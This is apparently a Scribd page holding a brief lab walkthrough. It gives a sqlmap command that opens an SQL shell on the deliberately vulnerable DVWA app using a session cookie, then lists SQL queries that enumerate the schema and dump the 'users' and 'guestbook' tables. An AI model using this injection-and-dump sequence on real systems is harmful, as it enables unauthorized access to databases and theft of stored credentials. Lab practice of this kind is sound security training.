0% found this document useful (0 votes)
48 views1 page

SQL Shell Commands with sqlmap

The document provides a series of SQL commands executed using sqlmap to interact with a vulnerable database. It includes commands to display the current database, list table names, retrieve data from specific tables, count records, and group data by user attributes. The commands are specifically targeting the 'dvwa' database and its 'users' and 'guestbook' tables.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
48 views1 page

SQL Shell Commands with sqlmap

The document provides a series of SQL commands executed using sqlmap to interact with a vulnerable database. It includes commands to display the current database, list table names, retrieve data from specific tables, count records, and group data by user attributes. The commands are specifically targeting the 'dvwa' database and its 'users' and 'guestbook' tables.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

sqlmap -u '[Link]

id=1&Submit=Submit#' --
cookie='PHPSESSID=qhj2pmck3k9gnmbn5ahvg80ok7; security=low' --sql-shell -
-batch

After gaining access:

Command:
sql-shell> database();
Explanation: Displays the name of the current database in use.

Command:
sql-shell> SELECT table_name FROM information_schema.tables WHERE
table_schema = 'dvwa';
Explanation: Lists all table names within the dvwa database.

Command:
sql-shell> SELECT * FROM [Link];
Explanation: Retrieves all rows and columns from the users table in the
dvwa database.

Command:
sql-shell> SELECT * FROM [Link];
Explanation: Retrieves all rows and columns from the guestbook table in
the dvwa database.

Command:
sql-shell> SELECT COUNT(*) FROM [Link];
Explanation: Counts the total number of records in the users table.

Command:
sql-shell> SELECT * FROM [Link] LIMIT 5;
Explanation: Retrieves the first 5 records from the users table.

Command:
sql-shell> SELECT COUNT(*), first_name FROM [Link] GROUP BY
first_name;
Explanation: Groups user records by first_name and displays the count of
each group.

Command:
sql-shell> SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users';
Explanation: Lists the column names and their data types from the users
table.

You might also like